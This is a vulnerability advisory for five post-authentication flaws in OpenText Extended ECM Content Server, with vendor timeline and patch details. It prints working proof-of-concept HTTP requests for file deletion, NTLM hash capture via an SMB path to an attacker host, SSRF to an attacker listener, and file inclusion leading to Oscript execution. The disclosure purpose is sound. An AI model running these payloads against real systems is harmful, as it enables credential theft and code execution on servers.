OpenText Extended ECM versions 16.2.2 through 22.3 suffer from arbitrary file deletion, information disclosure, local file inclusion, and privilege escalation vulnerabilities.
878b6d4e07e3ca1216865ef2e9312235d0ef20675c4ac011f7949b86a24ac5afSEC Consult Vulnerability Lab Security Advisory < 20230117-2 >
=======================================================================
title: Multiple post-authentication vulnerabilities including RCE
product: OpenText™ Content Server component of OpenText™ Extended ECM
vulnerable version: 16.2.2 - 22.3
fixed version: 22.4
CVE number: CVE-2022-45924, CVE-2022-45922, CVE-2022-45925,
CVE-2022-45926, CVE-2022-45928
impact: High
homepage: https://www.opentext.com/
found: 2022-09-16
by: Armin Stock (Atos)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"OpenText™ Extended ECM is an enterprise CMS platform that securely governs the
information lifecycle by integrating with leading enterprise applications, such
as SAP®, Microsoft® 365, Salesforce and SAP SuccessFactors®. Bringing content
and processes together, Extended ECM provides access to information when and
where it’s needed, improves decision-making and drives operational effectiveness."
Source: https://www.opentext.com/products/extended-ecm
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
Vulnerability overview/description:
-----------------------------------
1) Deletion of arbitrary files (CVE-2022-45924)
The endpoint `itemtemplate.createtemplate2` allows a low privilege user to
delete arbitrary files on the server's local filesystem.
2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)
The request handler for a user accessible function sets a valid AdminPwd cookie
that allows access to unauthorized endpoints without knowing the password.
3) xmlExport multiple vulnerabilities (CVE-2022-45925)
3.1) Information disclosure
The action `xmlexport` accepts the parameter `requestContext`. If this
parameter is present, the response does include most of the `HTTP` headers sent
to the server and some of the `CGI` variables like `remote_addr` and
`server_name`.
3.2) Capture of NTLM hashes
The action `xmlexport` accepts the parameter `transform` in combination
with `stylesheet`. The `stylesheet` parameter can be a `nodeID` or a filepath.
If a filepath is specified, the `ContentServer` tries to open the file. As
absolute paths are allowed it is possible to provide a network share to force
the `ContentServer` to open a connection to the network share. This allows an
attacker to capture the `NTLM Hash` of the user running the `ContentServer`.
4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)
The endpoint `notify.localizeEmailTemplate` does allow a low privilege user to
evaluate webreports. This can be used to perform a `Server Side Request Forgery
(SSRF)` attack, with nearly full control of the actual request.
5) Local File Inclusion allows Oscript execution (CVE-2022-45928)
Multiple endpoints allow the user to pass the parameter `htmlFile`, which is
included in the `HTML` output rendering pipeline of the request. As the
`Content Server` evaluates and executes `Oscript` code in `HTML` files, it is
possible for an attacker to execute `Oscript` code. The `Oscript` scripting
language allows the attacker for example to manipulate files on the filesystem,
create new network connections or execute OS system commands.
Proof of concept:
-----------------
1) Deletion of arbitrary files (CVE-2022-45924)
As a first step the user has to create a new `Customer View Template` object via
`/cs.exe?func=ll&objAction=create&objtype=844&nextURL=foo` to get a valid
`cacheID`. With the acquired `cacheID` the following request can be used to
delete a file. The parameter `DefinitionFile` controls which file should be
deleted.
-------------------------------------------------------------------------------
http://opentext-dev/OTCS/cs.exe?func=itemtemplate.createtemplate2&objType=844&parentId=2000&cacheID=730440157&DefinitionFile=C:/temp/poc-del.txt
-------------------------------------------------------------------------------
2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)
Sending the following request returns a new valid `AdminPwd` cookie.
-------------------------------------------------------------------------------
[ PoC removed, will be published at a later date ]
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=UTF-8
Server: Microsoft-IIS/10.0
Set-Cookie:
LLCookie=7X%2BfmttVXssmR2fGiuA4%2BeDFI4%2FotYL4o%2BkpxBTZUWrlHqwvH%2BIg3BCPhuBhD%2B567K288n7PJNeZQkk75EmxtndEpU3chq3cFppnAQ7OAYMX%2Bvl09QntFKi9E%2BWekSdNU866093uXCT4IqYR1ofVfkoLKFwTiUf%2BhgrVKaB8aoLOLlBU5RIrNA%3D%3D;
path=/OTCS/; httponly
Set-Cookie:
AdminPwd=oq6SNA9Db6yUl0vP1ucJkLuRhIYbvO3YdIujUbLLdzGMsygouzJlyuhDLTriq4C1XrMHxWYWkCeuxoZevX0%2BYyFMEevzZVXI6Fe82YBI3HnKu2Stq50vZ8bhPPQeBbXiW%2FRwgp8RHukHgnEWUq3axpUP5OHWCJj9V3Pj5%2FNNqJKie0gUv055KavSIj80Id4dXDiHVu%2FI6IXMhEb1Tm4EVLE1rjxMnpmZILTKds%2FkabH%2FanPx5Jl3YL%2BBkX0PiPe54guaWQj2ReTr1SW7Beomoriq2FrW%2BWK91OtMy%2BbrVTfgEZSRdRNIkA%3D%3D;
path=/OTCS/; httponly
X-Powered-By: ASP.NET
Date: Sat, 01 Oct 2022 17:57:54 GMT
Connection: close
Content-Length: 221
{"errMsg":"","ok":true,"sessionInactivity":1620000,"sessionLogoutURL":"?func=ll.DoLogout&secureRequestToken=STWVlmadtchZfgpCevUaWz%2FG%2BaDWVMAmJIByhcw6J3FRBkfQdUEyakxuWBKKZIfkujPUOp2jURQ%3D","sessionReactionTime":180000}
-------------------------------------------------------------------------------
3) xmlExport multiple vulnerabilities (CVE-2022-45925)
3.1) Information disclosure
Sending the following request reveals sensitive information about the
request:
-------------------------------------------------------------------------------
GET /OTCS//cs.exe?func=ll&objAction=xmlexport&requestContext=T&objId=2004 HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LLCookie=Ztn...
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-Type: application/xml
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Sat, 01 Oct 2022 16:13:40 GMT
Connection: close
Content-Length: 12581
<?xml version="1.0" encoding="UTF-8"?>
<livelink Acls='false' appversion='16.2.0' AttributeInfo='false' CallbackHandlerName='{''}' ContentInline='false' DoingImport='false' ExtUserInfo='false' FollowAliases='false' ForImport='false'
HandlerName='XmlExport' NodeInfo='false' Permissions='false' Schema='false' Scope='one' src='XmlExport'>
<context>
<user deleted='0' groupid='999' groupname='[Content Server Administration]' groupownerid='1000' grouptype='11' id='1000' name='Admin' ownerid='1000' spaceid='0' type='0' userprivileges='16777215'/>
<cgi auth_type='' content_length='0' content_type='' path_info='' query_string='func=ll&objAction=xmlexport&requestContext=T&objId=2004' remote_addr='$IP' remote_host='$IP' remote_user=''
request_method='GET' script_name='/OTCS/cs.exe' server_name='opentext-dev' server_port='80' server_protocol='HTTP/1.1'/>
<http>
<header name='HTTP_ACCEPT' value='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'/>
<header name='HTTP_ACCEPT_ENCODING' value='gzip, deflate'/>
<header name='HTTP_ACCEPT_LANGUAGE' value='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3'/>
<header name='HTTP_CONNECTION' value='close'/>
<header name='HTTP_HOST' value='opentext-dev'/>
<header name='HTTP_UPGRADE_INSECURE_REQUESTS' value='1'/>
<header name='HTTP_USER_AGENT' value='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0'/>
</http>
</context>
-------------------------------------------------------------------------------
3.2) Capture of NTLM hashes
Sending the following request with a remote path as value for the
`stylesheet` parameter initiates a SMB connection to the attacker's machine:
-------------------------------------------------------------------------------
GET /OTCS//cs.exe?func=ll&&objId=50469&objAction=xmlexport&transform=T&stylesheet=//$attackerIP/msg.txt
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
$ sudo impacket-smbserver test /tmp -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection ($opentextIP,59639)
[*] AUTHENTICATE_MESSAGE (\,DESKTOP-XXX)
[*] User DESKTOP-XXX\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
-------------------------------------------------------------------------------
Important side effect:
Specifying an existing file for the `stylesheet` parameter , which is not a
valid stylesheet, results in an error. As this error skips the cleanup code the
temporary file `$OTCS_HOME\temp\xml\XslOutput_[digit]_[digit]` is not removed.
The content of this file is partially controlled by the attacker, as it
contains the filename of the exported object. This could be further exploited
as documented in vulnerability 5).
-------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
**OBJECT NAME**
-------------------------------------------------------------------------------
4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)
Sending the following request with the webreport source in the `msgBody`
parameter allows the user to evaluate a webreport.
-------------------------------------------------------------------------------
POST /OTCS/cs.exe HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Cookie: LLCookie=zBH4...
Origin: http://opentext-dev
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>Username: [LL_REPTAG_USERNAME /]<@/urlencode>&fetch=foobar
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain ;charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Sat, 01 Oct 2022 18:33:29 GMT
Connection: close
Content-Length: 19
Username: Admin
-------------------------------------------------------------------------------
The tag `LL_WEBREPORT_RESTCLIENT` can be used to perform a
`Server Side Request Forgery (SSRF)` attack, with nearly full control of the
actual request.
-------------------------------------------------------------------------------
POST /OTCS/cs.exe HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Cookie: LLCookie=hRj
Origin: http://opentext-dev
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 347
func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>
[LL_WEBREPORT_RESTCLIENT @URI:"http://$attackerIP/" @METHOD:GET @RESPONSE:resp @HOST:$attackerIP @PORT:80 /]
<@/urlencode>&fetch=<@urlencode>LL_WEB [ /] [LL_REPTAG_EOL /] LL_WEB_END<@/urlencode>
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
$ ncat -v -l 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from $IP.
Ncat: Connection from $IP:59856.
GET http://$attackerIP/ HTTP/1.1
Connection: Keep-Alive
Host: $attackerIP
User-Agent: Poco
Accept: */*
-------------------------------------------------------------------------------
Other dangerous tags could be `RUNSHELL`, `LL_FETCHURL` and `LL_WEBREPORT_CALL`
The tag `LL_WEBREPORT_RESTCLIENT` is disabled by default in version 22.1.
5) Local File Inclusion allows Oscript execution (CVE-2022-45928)
One way to create a file on the server's filesystem with the desired `Oscript`
code, is to use the vulnerability `3.2` and its side effect:
* Create a file
* Set the filename to the `Oscript` code, which should be executed (e.g.:
``fArgs content: `.fArgs` ``)
* Run the `xmlExport` action with an invalid `stylesheet` (should be done
multiple times to increase the hit change for the `LFI`)
The temporary file `XslOutput_2_3` has the following content:
-------------------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
fArgs content: `.fArgs`
-------------------------------------------------------------------------------
To include the previously created file and execute its `Oscript` code, the
following request can be used.
-------------------------------------------------------------------------------
GET /OTCS/cs.exe?func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3 HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
LLCookie=gYkU6%2BmrbXPaZ87US9mHOswpXTZTyMujb3DmwyB8QglNf9TnicUFBS2%2BW2xv2rufPoyGb82bn3VuyMwvDckJpuncAOHxuIeTbPce%2B6RSn035HjDkk5b2b0rZyM%2FzbtIquS3bYOetho6kt3RYhvkl2ahLkHvhGtO6KUp%2BMX%2Fe43yTpBcw5g1umg%3D%3D;
LLTZCookie=0; BrowseSettings=rm%2BT2O%2F0LEfyVN4tBpAlz8iw6wjD9YgjYihWC2sGyHOayyH0F8hfiQ%3D%3D;
AdminPwd=CV6waXr6yPLjlL2OlABJf4ka0kmITRSOHWyZSpzRdfy0SvueX0YM%2B6KFPopV5ebviGckgD6K24tGD7HXiJ18UhvZQBS%2BBYSlBI%2BzI0JCeGSH76MxvN%2BogDT59s6MIHVP4PAqqL1YzQ9cRN4L6eZbdE2hySDTwUQTQlOrSoxJNS28IQMclNUnsgct11cbQgApGWazgFlph4brLk65xEfi%2BN%2FGs9rSEKAehMwc94MvoFZ%2B5LLOurbgZYCLaA0YIWuHIUdppEsBVmQKjYGsjyS%2BNcEvcuuiCm8g6C%2FtRIUl85i%2BGyNeFi1rAA%3D%3D;
TargetBrowseObjID=0; TargetBrowseObjType=150; tl=public_timeline; Accordion=
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
Response:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Server: Microsoft-IIS/10.0
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-UA-Compatible: IE=edge
Set-Cookie:
LLCookie=P7RTINkymKF2z1S8RQ6i0mjQKzaOb%2F2KNgFT5C2uBJZCgJ3sZ36Tll6LMvFDy3MC9DpjK00EXcIAROS7BHPtiMQTUqZ%2FVc6UtBXlW1%2FCljp1jDh1%2BUM05PJDhWzz1Xjzqnuw1iyIiCVDRBpgG9ztKGjSYngYLx6663COmbGleiMRgDlyufNcYw%3D%3D;
path=/OTCS/; httponly
X-Powered-By: ASP.NET
Date: Sun, 02 Oct 2022 10:37:09 GMT
Connection: close
Content-Length: 5762
<!DOCTYPE html>
<HTML LANG="en-US">
<!-- ..... -->
</HEAD>
<?xml version="1.0" encoding="UTF-8"?>
fArgs content:
R<'_ExtendSessionTimeout'=true,'_REQUEST'='llweb','AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','func'='commdirectory.LookFeel','GATEWAY_INTERFACE'='CGI/1.1','htmlFile'='temp/xml/XslOutput_2_3','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip,
deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0;
BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D;
AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D;
TargetBrowseObjID=0; TargetBrowseObjType=150;
LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D;
tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','LLENVIRON_ASSOC'=A<1,?,'AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','GATEWAY_INTERFACE'='CGI/1.1','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip,
deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0;
BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D;
AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D;
TargetBrowseObjID=0; TargetBrowseObjType=150;
LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D;
tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_METHOD'='GET','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0'>,'LLPARAMS_LIST'=\{\{'func','commdirectory.LookFeel'},{'objid','49259'},{'menutype','375'},{'htmlFile','temp/xml/XslOutput_2_3'}},'LLSYSPARAMS_ASSOC'=A<1,?,'_uploadFilenames'={},'_uploadPath'='C:\\Windows\\TEMP\\'>,'menutype'=375,'objid'=49259,'PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_ID'='8f325fa0-7d39-42a7-bf8f-486cbcbf1042','REQUEST_METHOD'='GET','REQUEST_PROCESSING_DURATION'='0','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0','cdid'=0,'prgCtx'=#323b0f9,'TZOffset'=0>
</HTML>
-------------------------------------------------------------------------------
Vulnerable / tested versions:
-----------------------------
The following version has been tested:
* 22.1 (16.2.19.1803)
The following versions are vulnerable according to the vendor:
* CVE-2022-45924: 20.4 - 22.3
* CVE-2022-45922: 21.1 - 22.1
* CVE-2022-45925: 16.2.2 - 22.3
* CVE-2022-45926: 20.4 - 22.3
* CVE-2022-45928: 16.2.2 - 22.3
Vendor contact timeline:
------------------------
2022-10-07: Vendor contacted via [email protected]
2022-10-07: Vendor acknowledged the email and is reviewing the reports
2022-11-18: Vendor confirms all vulnerabilities and is working on a patch aimed to
be released in November
2022-11-24: Vendor delays the patch "few days/weeks into December"
2022-11-25: Requesting CVE numbers (Mitre)
2022-12-15: Vendor delays the patch and provides a release date: January 16th 2023
2023-01-17: Public release of security advisory
Solution:
---------
Upgrade to at least version 22.4 or apply hotfixes which can be downloaded at
the vendor's page:
https://support.opentext.com/csm?id=kb_article_view&sysparm_article=KB0781429
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
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EOF Armin Stock / @2023